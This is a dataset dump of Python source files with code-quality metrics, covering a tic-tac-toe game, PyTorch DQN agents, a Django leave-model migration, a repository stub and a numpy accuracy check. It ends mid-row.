hexsha
string | size
int64 | ext
string | lang
string | max_stars_repo_path
string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
list | max_stars_count
int64 | max_stars_repo_stars_event_min_datetime
string | max_stars_repo_stars_event_max_datetime
string | max_issues_repo_path
string | max_issues_repo_name
string | max_issues_repo_head_hexsha
string | max_issues_repo_licenses
list | max_issues_count
int64 | max_issues_repo_issues_event_min_datetime
string | max_issues_repo_issues_event_max_datetime
string | max_forks_repo_path
string | max_forks_repo_name
string | max_forks_repo_head_hexsha
string | max_forks_repo_licenses
list | max_forks_count
int64 | max_forks_repo_forks_event_min_datetime
string | max_forks_repo_forks_event_max_datetime
string | content
string | avg_line_length
float64 | max_line_length
int64 | alphanum_fraction
float64 | qsc_code_num_words_quality_signal
int64 | qsc_code_num_chars_quality_signal
float64 | qsc_code_mean_word_length_quality_signal
float64 | qsc_code_frac_words_unique_quality_signal
float64 | qsc_code_frac_chars_top_2grams_quality_signal
float64 | qsc_code_frac_chars_top_3grams_quality_signal
float64 | qsc_code_frac_chars_top_4grams_quality_signal
float64 | qsc_code_frac_chars_dupe_5grams_quality_signal
float64 | qsc_code_frac_chars_dupe_6grams_quality_signal
float64 | qsc_code_frac_chars_dupe_7grams_quality_signal
float64 | qsc_code_frac_chars_dupe_8grams_quality_signal
float64 | qsc_code_frac_chars_dupe_9grams_quality_signal
float64 | qsc_code_frac_chars_dupe_10grams_quality_signal
float64 | qsc_code_frac_chars_replacement_symbols_quality_signal
float64 | qsc_code_frac_chars_digital_quality_signal
float64 | qsc_code_frac_chars_whitespace_quality_signal
float64 | qsc_code_size_file_byte_quality_signal
float64 | qsc_code_num_lines_quality_signal
float64 | qsc_code_num_chars_line_max_quality_signal
float64 | qsc_code_num_chars_line_mean_quality_signal
float64 | qsc_code_frac_chars_alphabet_quality_signal
float64 | qsc_code_frac_chars_comments_quality_signal
float64 | qsc_code_cate_xml_start_quality_signal
float64 | qsc_code_frac_lines_dupe_lines_quality_signal
float64 | qsc_code_cate_autogen_quality_signal
float64 | qsc_code_frac_lines_long_string_quality_signal
float64 | qsc_code_frac_chars_string_length_quality_signal
float64 | qsc_code_frac_chars_long_word_length_quality_signal
float64 | qsc_code_frac_lines_string_concat_quality_signal
float64 | qsc_code_cate_encoded_data_quality_signal
float64 | qsc_code_frac_chars_hex_words_quality_signal
float64 | qsc_code_frac_lines_prompt_comments_quality_signal
float64 | qsc_code_frac_lines_assert_quality_signal
float64 | qsc_codepython_cate_ast_quality_signal
float64 | qsc_codepython_frac_lines_func_ratio_quality_signal
float64 | qsc_codepython_cate_var_zero_quality_signal
bool | qsc_codepython_frac_lines_pass_quality_signal
float64 | qsc_codepython_frac_lines_import_quality_signal
float64 | qsc_codepython_frac_lines_simplefunc_quality_signal
float64 | qsc_codepython_score_lines_no_logic_quality_signal
float64 | qsc_codepython_frac_lines_print_quality_signal
float64 | qsc_code_num_words
int64 | qsc_code_num_chars
int64 | qsc_code_mean_word_length
int64 | qsc_code_frac_words_unique
null | qsc_code_frac_chars_top_2grams
int64 | qsc_code_frac_chars_top_3grams
int64 | qsc_code_frac_chars_top_4grams
int64 | qsc_code_frac_chars_dupe_5grams
int64 | qsc_code_frac_chars_dupe_6grams
int64 | qsc_code_frac_chars_dupe_7grams
int64 | qsc_code_frac_chars_dupe_8grams
int64 | qsc_code_frac_chars_dupe_9grams
int64 | qsc_code_frac_chars_dupe_10grams
int64 | qsc_code_frac_chars_replacement_symbols
int64 | qsc_code_frac_chars_digital
int64 | qsc_code_frac_chars_whitespace
int64 | qsc_code_size_file_byte
int64 | qsc_code_num_lines
int64 | qsc_code_num_chars_line_max
int64 | qsc_code_num_chars_line_mean
int64 | qsc_code_frac_chars_alphabet
int64 | qsc_code_frac_chars_comments
int64 | qsc_code_cate_xml_start
int64 | qsc_code_frac_lines_dupe_lines
int64 | qsc_code_cate_autogen
int64 | qsc_code_frac_lines_long_string
int64 | qsc_code_frac_chars_string_length
int64 | qsc_code_frac_chars_long_word_length
int64 | qsc_code_frac_lines_string_concat
null | qsc_code_cate_encoded_data
int64 | qsc_code_frac_chars_hex_words
int64 | qsc_code_frac_lines_prompt_comments
int64 | qsc_code_frac_lines_assert
int64 | qsc_codepython_cate_ast
int64 | qsc_codepython_frac_lines_func_ratio
int64 | qsc_codepython_cate_var_zero
int64 | qsc_codepython_frac_lines_pass
int64 | qsc_codepython_frac_lines_import
int64 | qsc_codepython_frac_lines_simplefunc
int64 | qsc_codepython_score_lines_no_logic
int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
0135163258508596b554a52b3fbbfc8f56e0c844
| 113
|
py
|
Python
|
HowToMakeTestsAwesome/src/user_repository.py
|
PavelHudau/BlogCodeExamples
|
ede4ecc5c8e52ec38a33bc6d17d0b92b085701c6
|
[
"MIT"
] | 2
|
2021-11-14T20:29:04.000Z
|
2021-12-07T07:47:35.000Z
|
HowToMakeTestsAwesome/src/user_repository.py
|
PavelHudau/BlogCodeExamples
|
ede4ecc5c8e52ec38a33bc6d17d0b92b085701c6
|
[
"MIT"
] | null | null | null |
HowToMakeTestsAwesome/src/user_repository.py
|
PavelHudau/BlogCodeExamples
|
ede4ecc5c8e52ec38a33bc6d17d0b92b085701c6
|
[
"MIT"
] | 2
|
2021-03-26T16:46:30.000Z
|
2021-06-02T13:28:20.000Z
|
class UserRepository():
def add_user(self, user):
pass
def delete_user(self, user):
pass
| 18.833333
| 32
| 0.60177
| 14
| 113
| 4.714286
| 0.571429
| 0.242424
| 0.363636
| 0.484848
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.300885
| 113
| 6
| 33
| 18.833333
| 0.835443
| 0
| 0
| 0.4
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.4
| false
| 0.4
| 0
| 0
| 0.6
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 1
| 0
|
0
| 8
|
0199570fa11f730b406684ec4e9eb83e4bab02ec
| 10,904
|
py
|
Python
|
res/tictactoe.py
|
agotag/Alexis
|
13d9184dea639059c75f9b88ff7f0a47c68b86e2
|
[
"MIT"
] | 3
|
2021-04-07T02:45:05.000Z
|
2021-04-14T13:19:15.000Z
|
res/tictactoe.py
|
agotag/Alexis
|
13d9184dea639059c75f9b88ff7f0a47c68b86e2
|
[
"MIT"
] | null | null | null |
res/tictactoe.py
|
agotag/Alexis
|
13d9184dea639059c75f9b88ff7f0a47c68b86e2
|
[
"MIT"
] | null | null | null |
# Initialising the game board to empty strings
board = {
'1': ' ', '2': ' ', '3': ' ',
'4': ' ', '5': ' ', '6': ' ',
'7': ' ', '8': ' ', '9': ' '
}
# The x for the left and right columns
LRx = ' X'
# The x for the centre column
Cx = ' X '
# The o for the left and right columns
LRo = ' O'
# The o for the centre column
Co = ' O '
boardEnd = '------------------------------------'
# Prints the board showing the numbers for the input
print(' 1 | 2 | 3 ')
print('---+---+---')
print(' 4 | 5 | 6 ')
print('---+---+---')
print(' 7 | 8 | 9 ')
print(boardEnd)
print("Type 'exit' to exit")
# Player 1 starts
player = 1
# Symbol is X for Player 1
symbol = 'X'
# The number of plays (cannot be greater than 9)
moves = 0
# To check if there is a winner
won = False
# Switch symbol depending on the player (1 = X, 2 = O)
if player != 1:
symbol = 'O'
while won == False:
if board['1'] == LRx and board['2'] == Cx and board['3'] == LRx:
print('Player 1 wins!')
break
if moves > 8:
break
while player == 1 and won == False:
# Check if tie
if moves > 8:
break
# Display the board with any changes
print(board['1'] + ' |' + board['2'] + '|' + board['3'])
print('---+---+---')
print(board['4'] + ' |' + board['5'] + '|' + board['6'])
print('---+---+---')
print(board['7'] + ' |' + board['8'] + '|' + board['9'])
# Check if there is a winner
# For player 1
# First row
if board['1'] == LRx and board['2'] == Cx and board['3'] == LRx:
print('Player 1 wins!')
won = True
break
# Second row
elif board['4'] == LRx and board['5'] == Cx and board['6'] == LRx:
print('Player 1 wins!')
won = True
break
# Third row
elif board['7'] == LRx and board['8'] == Cx and board['9'] == LRx:
print('Player 1 wins!')
won = True
break
# First column
elif board['1'] == LRx and board['4'] == LRx and board['7'] == LRx:
print('Player 1 wins!')
won = True
break
# Second column
elif board['2'] == LRx and board['5'] == LRx and board['8'] == LRx:
print('Player 1 wins!')
won = True
break
# Third column
elif board['3'] == LRx and board['6'] == LRx and board['9'] == LRx:
print('Player 1 wins!')
won = True
break
# Diagonal - top left to bottom right
elif board['1'] == LRx and board['5'] == Cx and board['9'] == LRx:
print('Player 1 wins!')
won = True
break
# Diagonal - bottom left to top right
elif board['7'] == LRx and board['5'] == Cx and board['3'] == LRx:
print('Player 1 wins!')
won = True
break
# For player 2
# First row
elif board['1'] == LRo and board['2'] == Co and board['3'] == LRo:
print('Player 2 wins!')
won = True
break
# Second row
elif board['4'] == LRo and board['5'] == Co and board['6'] == LRo:
print('Player 2 wins!')
won = True
break
# Third row
elif board['7'] == LRo and board['8'] == Co and board['9'] == LRo:
print('Player 2 wins!')
won = True
break
# First column
elif board['1'] == LRo and board['4'] == LRo and board['7'] == LRo:
print('Player 2 wins!')
won = True
break
# Second column
elif board['2'] == LRo and board['5'] == LRo and board['8'] == LRo:
print('Player 2 wins!')
won = True
break
# Third column
elif board['3'] == LRo and board['6'] == LRo and board['9'] == LRo:
print('Player 2 wins!')
won = True
break
# Diagonal - top left to bottom right
elif board['1'] == LRo and board['5'] == Co and board['9'] == LRo:
print('Player 2 wins!')
won = True
break
# Diagonal - bottom left to top right
elif board['7'] == LRo and board['5'] == Co and board['3'] == LRo:
print('Player 2 wins!')
won = True
break
else:
# Take input for the number of the square to
ip = input('Player 1:\n')
moves += 1
# Try getting input: if it is between 1 & 9,
try:
if ip in board and board[ip] == ' ' or board[ip] == ' ':
# Check to see which 'X' to insert (LRx or Cx)
if ip == '2' or ip == '5' or ip == '8':
board[ip] = Cx
# Check if the board is full
if moves > 8:
break
# Change player
player = 2
print(boardEnd)
else:
board[ip] = LRx
# Check if the board is full
if moves > 8:
break
# Change player
player = 2
print(boardEnd)
# Check if that box is taken
elif board[ip] == ' X' or board[ip] == ' X ' or board[ip] == ' O' or board[ip] == ' O ':
print('That spot is taken')
moves -= 1
# If the input is not from the board (1-9) or exit
except KeyError as identifier:
if "exit" in ip:
exit(1)
else:
print('INVALID')
moves -= 1
break
while player == 2 and won == False:
# Check if tie
if moves > 8:
break
print(board['1'] + ' |' + board['2'] + '|' + board['3'])
print('---+---+---')
print(board['4'] + ' |' + board['5'] + '|' + board['6'])
print('---+---+---')
print(board['7'] + ' |' + board['8'] + '|' + board['9'])
# Check if there is a winner
# For player 1
# First row
if board['1'] == LRx and board['2'] == Cx and board['3'] == LRx:
print('Player 1 wins!')
won = True
break
# Second row
elif board['4'] == LRx and board['5'] == Cx and board['6'] == LRx:
print('Player 1 wins!')
won = True
break
# Third row
elif board['7'] == LRx and board['8'] == Cx and board['9'] == LRx:
print('Player 1 wins!')
won = True
break
# First column
elif board['1'] == LRx and board['4'] == LRx and board['7'] == LRx:
print('Player 1 wins!')
won = True
break
# Second column
elif board['2'] == LRx and board['5'] == LRx and board['8'] == LRx:
print('Player 1 wins!')
won = True
break
# Third column
elif board['3'] == LRx and board['6'] == LRx and board['9'] == LRx:
print('Player 1 wins!')
won = True
break
# Diagonal - top left to bottom right
elif board['1'] == LRx and board['5'] == Cx and board['9'] == LRx:
print('Player 1 wins!')
won = True
break
# Diagonal - bottom left to top right
elif board['7'] == LRx and board['5'] == Cx and board['3'] == LRx:
print('Player 1 wins!')
won = True
break
# For player 2
# First row
elif board['1'] == LRo and board['2'] == Co and board['3'] == LRo:
print('Player 2 wins!')
won = True
break
# Second row
elif board['4'] == LRo and board['5'] == Co and board['6'] == LRo:
print('Player 2 wins!')
won = True
break
# Third row
elif board['7'] == LRo and board['8'] == Co and board['9'] == LRo:
print('Player 2 wins!')
won = True
break
# First column
elif board['1'] == LRo and board['4'] == LRo and board['7'] == LRo:
print('Player 2 wins!')
won = True
break
# Second column
elif board['2'] == LRo and board['5'] == LRo and board['8'] == LRo:
print('Player 2 wins!')
won = True
break
# Third column
elif board['3'] == LRo and board['6'] == LRo and board['9'] == LRo:
print('Player 2 wins!')
won = True
break
# Diagonal - top left to bottom right
elif board['1'] == LRo and board['5'] == Co and board['9'] == LRo:
print('Player 2 wins!')
won = True
break
# Diagonal - bottom left to top right
elif board['7'] == LRo and board['5'] == Co and board['9'] == LRo:
print('Player 2 wins!')
won = True
break
else:
# Take input for the number of the square to
ip = input('Player 2:\n')
moves += 1
# Try getting input: if it is between 1 & 9,
try:
# Check if that box is empty
if ip in board and board[ip] == ' ' or board[ip] == ' ':
# Check to see which 'O' to insert (LRo or Co)
if ip == '2' or ip == '5' or ip == '8':
board[ip] = Co
# Check if the board is full
if moves > 8:
break
# Change player
player = 1
print(boardEnd)
else:
board[ip] = LRo
# Check if the board is full
if moves > 8:
break
# Change player
player = 1
print(boardEnd)
# Check if that box is taken
elif board[ip] == ' X' or board[ip] == ' X ' or board[ip] == ' O' or board[ip] == ' O ':
print('That spot is taken')
moves -= 1
# If the input is not from the board (1-9)
except KeyError as identifier:
if "exit" in ip:
exit(1)
else:
print('INVALID')
moves -= 1
break
print('DONE')
| 31.243553
| 104
| 0.409666
| 1,272
| 10,904
| 3.511792
| 0.082547
| 0.121782
| 0.0788
| 0.114618
| 0.880904
| 0.872398
| 0.856503
| 0.856503
| 0.856503
| 0.856503
| 0
| 0.036197
| 0.450202
| 10,904
| 348
| 105
| 31.333333
| 0.708924
| 0.15985
| 0
| 0.864035
| 0
| 0
| 0.100462
| 0.003961
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.258772
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
6da692f09de2c7f5fe11d169a5dfa7d034bacafe
| 10,747
|
py
|
Python
|
DQN_PyTorch/agents.py
|
jinPrelude/rl_algorithms
|
2821136752dc4e69b654bbd4078014e6fbfb9315
|
[
"Apache-2.0"
] | null | null | null |
DQN_PyTorch/agents.py
|
jinPrelude/rl_algorithms
|
2821136752dc4e69b654bbd4078014e6fbfb9315
|
[
"Apache-2.0"
] | null | null | null |
DQN_PyTorch/agents.py
|
jinPrelude/rl_algorithms
|
2821136752dc4e69b654bbd4078014e6fbfb9315
|
[
"Apache-2.0"
] | null | null | null |
import torch
import torch.nn as nn
import torch.nn.functional as F
import numpy as np
import torch.optim as optim
from memory import Memory
from torch.autograd import Variable
import random
from utils import preprocess
class Model(nn.Module) :
def __init__(self, state_dim, action_dim):
super(Model, self).__init__()
self.f1 = nn.Sequential(
nn.Linear(state_dim, 300),
nn.Tanh(),
nn.Linear(300, 100),
nn.Tanh(),
nn.Linear(100, action_dim)
)
def forward(self, x):
return self.f1(x)
class Cnn_Model(nn.Module) :
def __init__(self, action_dim):
super(Cnn_Model, self).__init__()
self.f1 = nn.Sequential(
nn.Conv2d(4, 16, 8, 4),
nn.ReLU(),
nn.Conv2d(16, 32, 4, 2),
nn.ReLU()
)
self.f2 = nn.Sequential(
nn.Linear(32*9*9, 256),
nn.ReLU(),
nn.Linear(256, 64),
nn.ReLU(),
nn.Linear(64, action_dim)
)
def forward(self, x, batch_size = 1):
x = self.f1(x)
x = x.view(batch_size, -1)
x = self.f2(x)
return x
class DQN() :
def __init__(self, args, state_dim, action_dim, device):
self.state_dim = state_dim
self.action_dim = action_dim
self.device = device
self.memory = Memory(args['memory_size'])
self.model = Model(state_dim, action_dim).to(self.device)
self.target_model = Model(state_dim, action_dim).to(self.device)
self.model_optimizer = optim.Adam(self.model.parameters(), lr=args['lr'])
self.target_model.load_state_dict(self.model.state_dict())
self.epsilon = 1.0
self.args = args
def update_target(self):
self.target_model.load_state_dict(self.model.state_dict())
def get_action(self, state):
if np.random.rand() <= self.epsilon :
self.epsilon -= 0.0000009
return random.randrange(self.action_dim)
else :
state = torch.Tensor(state).to(self.device)
_, action = torch.max(self.model(state), 0)
return int(action)
def get_real_action(self, state):
state = torch.Tensor(state).to(self.device)
_, action = torch.max(self.model(state), 0)
return int(action)
def save(self, state, action, reward, next_state ,done):
self.memory.add((state, action, reward, next_state, done))
def train(self):
mini_batch = self.memory.sample(self.args['batch_size'])
mini_batch = np.array(mini_batch).transpose()
states = np.vstack(mini_batch[0])
actions = list(mini_batch[1])
rewards = list(mini_batch[2])
next_states = np.vstack(mini_batch[3])
dones = mini_batch[4].astype(int)
states = torch.Tensor(states).to(self.device)
next_states = torch.Tensor(next_states).to(self.device)
rewards = torch.Tensor(rewards).to(self.device)
dones = torch.Tensor(dones).to(self.device)
states = Variable(states).float()
pred = self.model(states)
# one-hot encoding
a = torch.LongTensor(actions).view(-1, 1)
one_hot_action = torch.FloatTensor(self.args['batch_size'], self.action_dim).zero_()
one_hot_action.scatter_(1, a, 1)
one_hot_action = torch.Tensor(one_hot_action).to(self.device)
pred = torch.sum(pred.mul(Variable(one_hot_action)), dim=1)
next_states = Variable(next_states).float()
next_pred = self.target_model(next_states)
# rewards = torch.FloatTensor(rewards)
# dones = torch.FloatTensor(dones)
# Q Learning: get maximum Q value at s' from target model
target = rewards + (1 - dones) * self.args['gamma'] * next_pred.max(1)[0]
target = Variable(target)
self.model_optimizer.zero_grad()
# MSE Loss function
loss = F.mse_loss(pred, target)
loss.backward()
# and train
self.model_optimizer.step()
class Double_DQN() :
def __init__(self, args, state_dim, action_dim, device):
self.state_dim = state_dim
self.action_dim = action_dim
self.device = device
self.memory = Memory(args['memory_size'])
self.model = Model(state_dim, action_dim).to(self.device)
self.target_model = Model(state_dim, action_dim).to(self.device)
self.model_optimizer = optim.Adam(self.model.parameters(), lr=args['lr'])
self.target_model.load_state_dict(self.model.state_dict())
self.epsilon = 1.0
self.args = args
def update_target(self):
self.target_model.load_state_dict(self.model.state_dict())
def get_action(self, state):
if np.random.rand() <= self.epsilon :
self.epsilon *= 0.999
return random.randrange(self.action_dim)
else :
state = torch.Tensor(state).to(self.device)
_, action = torch.max(self.model(state), 0)
return int(action)
def get_real_action(self, state):
state = torch.Tensor(state).to(self.device)
_, action = torch.max(self.model(state), 0)
return int(action)
def save(self, state, action, reward, next_state ,done):
self.memory.add((state, action, reward, next_state, done))
def train(self):
mini_batch = self.memory.sample(self.args['batch_size'])
mini_batch = np.array(mini_batch).transpose()
states = np.vstack(mini_batch[0])
actions = list(mini_batch[1])
rewards = list(mini_batch[2])
next_states = np.vstack(mini_batch[3])
dones = mini_batch[4].astype(int)
states = torch.Tensor(states).to(self.device)
next_states = torch.Tensor(next_states).to(self.device)
rewards = torch.Tensor(rewards).to(self.device)
dones = torch.Tensor(dones).to(self.device)
states = Variable(states).float()
pred = self.model(states)
# one-hot encoding
a = torch.LongTensor(actions).view(-1, 1)
one_hot_action = torch.FloatTensor(self.args['batch_size'], self.action_dim).zero_()
one_hot_action.scatter_(1, a, 1)
one_hot_action = torch.Tensor(one_hot_action).to(self.device)
pred = torch.sum(pred.mul(Variable(one_hot_action)), dim=1)
next_states = Variable(next_states).float()
next_pred = self.target_model(next_states)
# rewards = torch.FloatTensor(rewards)
# dones = torch.FloatTensor(dones)
# Q Learning: get maximum Q value at s' from target model
q_next_select = self.model(next_states)
_, q_next_select = torch.max(q_next_select, 0)
one_hot_action = torch.FloatTensor(self.args['batch_size'], self.action_dim).zero_()
one_hot_action.scatter_(1, a, 1)
one_hot_action = torch.Tensor(one_hot_action).to(self.device)
target_pred = self.target_model(next_states)
target_pred = torch.sum(target_pred.mul(Variable(one_hot_action)), dim=1)
target = rewards + (1 - dones) * self.args['gamma'] * target_pred
target = Variable(target)
self.model_optimizer.zero_grad()
# MSE Loss function
loss = F.mse_loss(pred, target)
loss.backward()
# and train
self.model_optimizer.step()
class Double_DQN_Cnn() :
def __init__(self, args, state_dim, action_dim, device):
self.state_dim = state_dim
self.action_dim = action_dim
self.device = device
self.memory = Memory(args['memory_size'])
self.model = Cnn_Model(action_dim).to(self.device)
self.target_model = Cnn_Model(action_dim).to(self.device)
self.model_optimizer = optim.Adam(self.model.parameters(), lr=args['lr'])
self.target_model.load_state_dict(self.model.state_dict())
self.epsilon = 1.0
self.args = args
def update_target(self):
self.target_model.load_state_dict(self.model.state_dict())
def get_action(self, state):
if np.random.rand() <= self.epsilon :
if self.epsilon > 0.11 :
self.epsilon -= 0.0000009
return random.randrange(self.action_dim)
else :
state = torch.Tensor(state).to(self.device)
_, action = torch.max(self.model(state), 1)
return int(action)
def get_real_action(self, state):
state = torch.Tensor(state).to(self.device)
_, action = torch.max(self.model(state), 1)
return int(action)
def save(self, state, action, reward, next_state ,done):
self.memory.add((state, action, reward, next_state, done))
def train(self):
mini_batch = self.memory.sample(self.args['batch_size']*self.args['skip'])
mini_batch = np.array(mini_batch).transpose()
states = np.vstack(mini_batch[0])
actions = list(mini_batch[1])
rewards = list(mini_batch[2])
next_states = np.vstack(mini_batch[3])
dones = mini_batch[4].astype(int)
states = torch.Tensor(states).to(self.device)
next_states = torch.Tensor(next_states).to(self.device)
rewards = torch.Tensor(rewards).to(self.device)
dones = torch.Tensor(dones).to(self.device)
states = Variable(states).float()
pred = self.model.forward(states, batch_size=self.args['batch_size']*self.args['skip'])
# one-hot encoding
a = torch.LongTensor(actions).view(-1, 1)
one_hot_action = torch.FloatTensor(self.args['batch_size']*self.args['skip'], self.action_dim).zero_()
one_hot_action.scatter_(1, a, 1)
one_hot_action = torch.Tensor(one_hot_action).to(self.device)
pred = torch.sum(pred.mul(Variable(one_hot_action)), dim=1)
# Q Learning: get maximum Q value at s' from target model
q_next_select = self.model(next_states, batch_size=self.args['batch_size']*self.args['skip'])
_, q_next_select = torch.max(q_next_select, 1)
one_hot_action = torch.FloatTensor(self.args['batch_size']*self.args['skip'], self.action_dim).zero_()
one_hot_action.scatter_(1, a, 1)
one_hot_action = torch.Tensor(one_hot_action).to(self.device)
target_pred = self.target_model(next_states, batch_size=self.args['batch_size']*self.args['skip'])
target_pred = torch.sum(target_pred.mul(Variable(one_hot_action)), dim=1)
target = rewards + (1 - dones) * self.args['gamma'] * target_pred
target = Variable(target)
self.model_optimizer.zero_grad()
# MSE Loss function
loss = F.mse_loss(pred, target)
loss.backward()
# and train
self.model_optimizer.step()
| 34.335463
| 110
| 0.625012
| 1,453
| 10,747
| 4.420509
| 0.085341
| 0.044839
| 0.05418
| 0.029114
| 0.926358
| 0.921688
| 0.906741
| 0.899891
| 0.87934
| 0.872178
| 0
| 0.01547
| 0.248162
| 10,747
| 313
| 111
| 34.335463
| 0.779455
| 0.041128
| 0
| 0.768182
| 0
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| 0.018272
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| 1
| 0.1
| false
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| 0.040909
| 0.004545
| 0.213636
| 0
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| null | 0
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| 1
| 1
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| null | 0
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| 0
| 0
| 0
|
0
| 7
|
09664c2640ae979b0e0d22bbb29680a1c790d7c6
| 2,271
|
py
|
Python
|
app/core/migrations/0003_archivedleave_leave.py
|
raszidzie/Employee-Attendance-Management
|
824277ed469da31bae72b201b61730b88b62941d
|
[
"MIT"
] | 4
|
2020-04-13T06:01:49.000Z
|
2020-08-03T16:49:31.000Z
|
app/core/migrations/0003_archivedleave_leave.py
|
raszidzie/Employee-Attendance-Management
|
824277ed469da31bae72b201b61730b88b62941d
|
[
"MIT"
] | null | null | null |
app/core/migrations/0003_archivedleave_leave.py
|
raszidzie/Employee-Attendance-Management
|
824277ed469da31bae72b201b61730b88b62941d
|
[
"MIT"
] | 2
|
2020-04-23T12:10:26.000Z
|
2020-10-14T11:07:21.000Z
|
# Generated by Django 2.1.15 on 2020-04-11 11:39
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('core', '0002_auto_20200410_2034'),
]
operations = [
migrations.CreateModel(
name='ArchivedLeave',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('leave_type', models.CharField(max_length=255)),
('leave_start_date', models.DateField()),
('leave_end_date', models.DateField()),
('leave_start_time', models.TimeField()),
('leave_end_time', models.TimeField()),
('leave_reason', models.TextField()),
('status', models.CharField(choices=[('waiting', 'WAITING'), ('approved', 'APPROVED'), ('declined', 'DECLINED')], default='waiting', max_length=30)),
('days', models.IntegerField(default=0)),
('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='Leave',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('leave_type', models.CharField(max_length=255)),
('leave_start_date', models.DateField()),
('leave_end_date', models.DateField()),
('leave_start_time', models.TimeField()),
('leave_end_time', models.TimeField()),
('leave_reason', models.TextField()),
('status', models.CharField(choices=[('waiting', 'WAITING'), ('approved', 'APPROVED'), ('declined', 'DECLINED')], default='waiting', max_length=30)),
('days', models.IntegerField(default=0)),
('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
],
options={
'abstract': False,
},
),
]
| 43.673077
| 165
| 0.561427
| 215
| 2,271
| 5.748837
| 0.344186
| 0.02589
| 0.061489
| 0.07767
| 0.779935
| 0.779935
| 0.779935
| 0.779935
| 0.779935
| 0.779935
| 0
| 0.027044
| 0.283576
| 2,271
| 51
| 166
| 44.529412
| 0.732637
| 0.020255
| 0
| 0.711111
| 1
| 0
| 0.165092
| 0.010346
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.066667
| 0
| 0.133333
| 0
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| 0
| null | 0
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| 1
| 1
| 1
| 1
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| null | 0
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| 0
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| 0
| 0
| 0
| 0
|
0
| 7
|
09da7c201d6c3b15e52cb98553586c197cfddb15
| 2,122
|
py
|
Python
|
DL/live_camera_ocr/data/scripts/acc_check.py
|
jay-z007/Deep-Learning
|
982476c597f5e231724797002f2aac9cca7dda30
|
[
"MIT"
] | null | null | null |
DL/live_camera_ocr/data/scripts/acc_check.py
|
jay-z007/Deep-Learning
|
982476c597f5e231724797002f2aac9cca7dda30
|
[
"MIT"
] | null | null | null |
DL/live_camera_ocr/data/scripts/acc_check.py
|
jay-z007/Deep-Learning
|
982476c597f5e231724797002f2aac9cca7dda30
|
[
"MIT"
] | null | null | null |
import numpy as np
labels = np.array([[[ 0., 0., 1., 0., 0., 0., 0., 0., 0., 0., 0.],
[ 0., 1., 0., 0., 0., 0., 0., 0., 0., 0., 0.],
[ 0., 0., 0., 0., 0., 0., 0., 0., 0., 1., 0.],
[ 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 1.],
[ 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 1.],
[ 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 1.]],
[[ 0., 0., 0., 1., 0., 0., 0., 0., 0., 0., 0.],
[ 0., 0., 1., 0., 0., 0., 0., 0., 0., 0., 0.],
[ 0., 0., 1., 0., 0., 0., 0., 0., 0., 0., 0.],
[ 0., 0., 0., 1., 0., 0., 0., 0., 0., 0., 0.],
[ 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 1.],
[ 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 1.]]])
labels2 = np.array([[[ 1., 0., 1., 0., 0., 0., 0., 0., 0., 0., 0.],
[ 0., 1., 0., 0., 0., 0., 0., 0., 0., 0., 0.],
[ 0., 0., 0., 0., 0., 0., 0., 0., 0., 1., 0.],
[ 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 1.],
[ 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 1.],
[ 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 1.]],
[[ 0., 0., 0., 1., 1., 0., 0., 0., 0., 0., 0.],
[ 0., 1., 1., 0., 0., 0., 0., 0., 0., 0., 0.],
[ 0., 0., 1., 0., 0., 0., 0., 0., 0., 0., 0.],
[ 0., 0., 0., 1., 0., 0., 0., 0., 0., 0., 0.],
[ 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 1.],
[ 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 1.]]])
def accuracy(predictions, labels):
total = predictions.shape[0]
# print [np.argmax(predictions[i], 1) == np.argmax(labels[i], 1) for i in range(total)]
# print np.array(np.all(np.argmax(predictions, 2) == np.argmax(labels, 2), axis =1))
acc = 100.0 * np.sum(np.all(np.argmax(predictions, 2) == np.argmax(labels, 2), axis=1))/total
#acc = 100.0 * np.sum(np.argmax(predictions[i], 1) == np.argmax(labels[i], 1) for i in range(total)) / total
return acc
print accuracy(labels, labels2)
| 54.410256
| 112
| 0.30066
| 358
| 2,122
| 1.782123
| 0.075419
| 0.667712
| 0.893417
| 1.053292
| 0.757053
| 0.757053
| 0.719436
| 0.719436
| 0.719436
| 0.719436
| 0
| 0.21477
| 0.374647
